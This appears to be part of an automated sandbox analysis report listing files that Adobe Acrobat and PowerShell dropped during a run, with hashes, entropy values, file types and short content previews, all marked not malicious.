SHA-512:	1EAD0121DC1220796F4267AA6593D736374726AAEDC64BA90F4D552D52FAD7B364A2F34204DF3601B23253C42D6376D10C95C48470FC094AE76035288F8DB4F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658213423663167
Encrypted:	false
SSDEEP:	24:Yv6XXibCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSzn:Yv1IBgkDMUJUAh8cvMzn
MD5:	A67A9DA62FFAF43AB48E97CC20D6697C
SHA1:	4B9743560EC9E3E9E78BA2ADED04B04A0C753F39
SHA-256:	551AB7610560613EE1A81436C341264A991D335BDC8F7D4F1E916C7A537F678C
SHA-512:	B7C62BAEE9EE516831153C34A9A5134F162909EFB8B87F433CF8217CBEBB9E6C4671A5C4C216FC61635E9C47FB6BC07BC7169C45813CDA25E52B531CF32C6D8F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.197985617541207
Encrypted:	false
SSDEEP:	6:YEQXJ2HX42gJ9O+FIbRI6XVW7+0YcT9KoAvJfshHHrPeUkwRe9:YvXKX42MYpW7N95GUUUkee9
MD5:	87CEB6AD9F4A8FE822F41AB162FC54F5
SHA1:	7334456496D6AE0BAE44CEBA7A89A8B2393AA48A
SHA-256:	9230949A1EF1968F17E56D69605060657C3BED2AC59F6F348916477664BAE95F
SHA-512:	035029AD44CBCDD004103F2BE50634FA0CE545A8F0B6CB1E27EF96067D31EB201077E75980C94309CC93ED6C5D2357D71B7B92C988FEE25A60EAE8DB75D12149
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2060041344325185
Encrypted:	false
SSDEEP:	6:YEQXJ2HX42gJ9O+FIbRI6XVW7+0YcT9KoAvJTqgFCrPeUkwRe9:YvXKX42MYpW7N95GTq16Ukee9
MD5:	19EBC9D8D0935285BD8C987640B68911
SHA1:	DD35DAA0C681113376AE9801D0BF04059813F3FB
SHA-256:	AD886FF75156C6482430187C3B385B20BB6DAFC93FF50923BF58F180081D2D56
SHA-512:	D2A6E679E89F1287ACC5D27D4E4E261CB23E0A5A5ACDA0D9A0F3D68DF52FCD874E2C9917088E7DBE8E54B3F2D7611A3DFEDB9BE399B1EC91D5590B12A33510B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140236870337663
Encrypted:	false
SSDEEP:	24:Y3yPaXayaS/XdrbCMgKdsWrJjOj0SrBL2XZM4i2LSVCEUZp1c8yUQ58xb96LDOVQ:Y2SvtbCKdz5wJ+ZMfXaZp1c8y/S9yMQ
MD5:	5C3AF663B12361461C799C2A0C30DA49
SHA1:	E0D7BA6C7DEA6F3F70B5658CE42B7B2692B76E95
SHA-256:	37D41393806D00D2407FFC5EC3684ADA6E22DB29A255DE9AD82747B0BE12ADD6
SHA-512:	39BC2BAA22022A647CE3051819F89B908E3A3770443CDF25C4623786D8330604D9869E1020EFC4EC0ACE2E9E1C06DB7460D27949B6A388B0854752FACA94E803
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"833ce2b1e928686586578a22885e34d2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736541247000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b6fa8e082e1c7a23a61348f6c7d36389","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736541247000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"a40e0bf57312b8654dab98dd1b60ab58","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736541247000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f564873ad266ae47fd977f5bd0d6a816","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736541247000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"77fe7bcec0d6afea859bd6cc755901cb","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736541247000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"20da81b0ee737c43676080e6cade69f1","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9853759579957604
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpSN4zJwtNBwtNbRZ6bRZ49NF:TVl2GL7ms6ggOVpSmzutYtp6P8n
MD5:	23734471A9D6F22C1E97A6CD3031655B
SHA1:	C00D7457BC7480EA3D338ED6C3EC2A9B636EBF7A
SHA-256:	460D0265EE18B39906FC1AFEABF7DE49A040F72625A7D9A78737C73E82914B36
SHA-512:	D00DD1751DCE95029859CAA1BF9013476DA4C252A9E4137B97482F9D8D25F5CE0773CF5AE2E1437EC9DBF64885710C055F2DC90D214AE82E08C0A81296553CE5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3397288405387564
Encrypted:	false
SSDEEP:	24:7+tIAD1RZKHs/Ds/SpSNPzJwtNBwtNbRZ6bRZWf1RZK+qLBx/XYKQvGJF7ursp:7MIGgOVpS9zutYtp6PMzqll2GL7msp
MD5:	6D385DC860E6177120F794C1A7C905B9
SHA1:	A2E1B75E6DF228FBD2031C4767BBD9F86753F9C5
SHA-256:	3E5F45F9EB219ED3BBEEB25012702BD3C32A0EAB69994AC8D68BCEA7DF62DFD2
SHA-512:	34B9693506DA01B0790C2817364B27A9F4AD9FE39F8CE551E427468953C16BFE66978E40DB17CE467724A37F22235CE072DED16222B260C34B4DD141739F3BF9
Malicious:	false
Preview:	.... .c.......pR......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgLTAkKdOCa2KIMJMjsBbikImmuYyu:6a6TZ44ADELT0Ba2UJMjsBK
MD5:	004ECDCF16B256013FC6776CAF77E4B9
SHA1:	9E16240DE944EAD134AE068D411C2BBA0C2A9B0A
SHA-256:	EC372B02E8AB4C71D2F0958BDB92FFFAAB4209D98342D3941489ACABA3F4195C
SHA-512:	E0400A465F0D0F5AE3401C1D5D771882A848D0DDC2955224ED47F22B3FA29A8ABFC06033D8DBF222549A052E6F0CE9D6EB225154F4AD99C633EF129639988A4E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI43715.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClETRSww:Qw946cPbiOxDlbYnuRK+bDa
MD5:	C2850967FC268096294CBBD9B0519C47
SHA1:	3359D8B84DB88B8FD14852ABC8EA18E2E92829BF
SHA-256:	F149F8E53DFB23BD5233C3AF18942F05D4B35A781E43E36252F3BBCF5BAEE179
SHA-512:	E29C2435B5E6027B24B50E450E763E785B8787F32BEDCC54CB05DDBBD6A3557F3BAF03672E7D9E8A127F416976C536719C848F1FCA4DC1DE2A3EC9C5007475D9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.3.4.:.0.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d2wxdoia.yxn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wrtcldsh.ph3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-34-04-067.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.358893260448134
Encrypted:	false
SSDEEP:	384:8GALprg7D45colE9qQVIMPwkw3C/mK2zWByxHjhi0bJp+8N6c0B0BsH1cpS6GA8d:5t5
MD5:	EAD21682EE486FFEA554787737D8697E
SHA1:	9064E873EC31DCFA4BA162E6F5B8AE58466C9BF4
SHA-256:	1A2EF0B7A9A5D10ED29D96E8C6D82180452DA89133374CCA15DED5E611579905
SHA-512:	C327969A2A358DF7C128855483884D84C19F653E1A99C112F427DFD5BFA35913E2CD0E72E0B3A86EB434D13A5AE1ABFF87D367B57D4E6B0BF8F06850D0D8D53F
Malicious:	false
Preview:	SessionID=900e91e5-dbc4-4375-a878-9a7734fb8d6f.1736541244105 Timestamp=2025-01-10T15:34:04:105-0500 ThreadID=7900 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=900e91e5-dbc4-4375-a878-9a7734fb8d6f.1736541244105 Timestamp=2025-01-10T15:34:04:128-0500 ThreadID=7900 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=900e91e5-dbc4-4375-a878-9a7734fb8d6f.1736541244105 Timestamp=2025-01-10T15:34:04:128-0500 ThreadID=7900 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=900e91e5-dbc4-4375-a878-9a7734fb8d6f.1736541244105 Timestamp=2025-01-10T15:34:04:128-0500 ThreadID=7900 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=900e91e5-dbc4-4375-a878-9a7734fb8d6f.1736541244105 Timestamp=2025-01-10T15:34:04:129-0500 ThreadID=7900 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.391708339457948
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbE:An
MD5:	D3985E7D54C7CD03A2AF0F6A49757D9E
SHA1:	7E38F0B102B10282F08E3D16DD77B636ECDF47BF
SHA-256:	E425635A89DD03E2E6679188E95C7DF83E8D27618C73079F5E6A72504522EE8A
SHA-512:	60F129FC7401983D6D8DF7525733F8626D8CA13DEE841C1061D6A1458AEE789D6C407234A3ECEF36D5DBC0D5C4549CE15059AA037173B31BC529C30301CEE16B
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2e10543c-6a2d-4ec7-a406-665743bbb31c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\63b8aae5-8dd3-4e6e-be33-84e77ac7545f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a07a353d-2c92-49f8-b32c-12e8a5933e6c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	1F3D69524A9D7E17BD2363C81D130F1A
SHA1:	C2A4A08839CBA47BEE2B601975F7C4F0CC191091
SHA-256:	D0FFBEC8502A0BE88A99F6708987658FEBE4CF3B6B79AF219C53EFF6458F9D9D
SHA-512:	A4CBE7073A7CB4C5E33E1CD903CCD7F24B78A04C037BFA1D90D9A5BBD12AF60E3DFFD6546277D1B765CA1DAC1CDA28D24D3454C81952B72D97CAF84DF395E99A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a9aa8194-0bd2-43fa-82ef-ca428d8b822b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
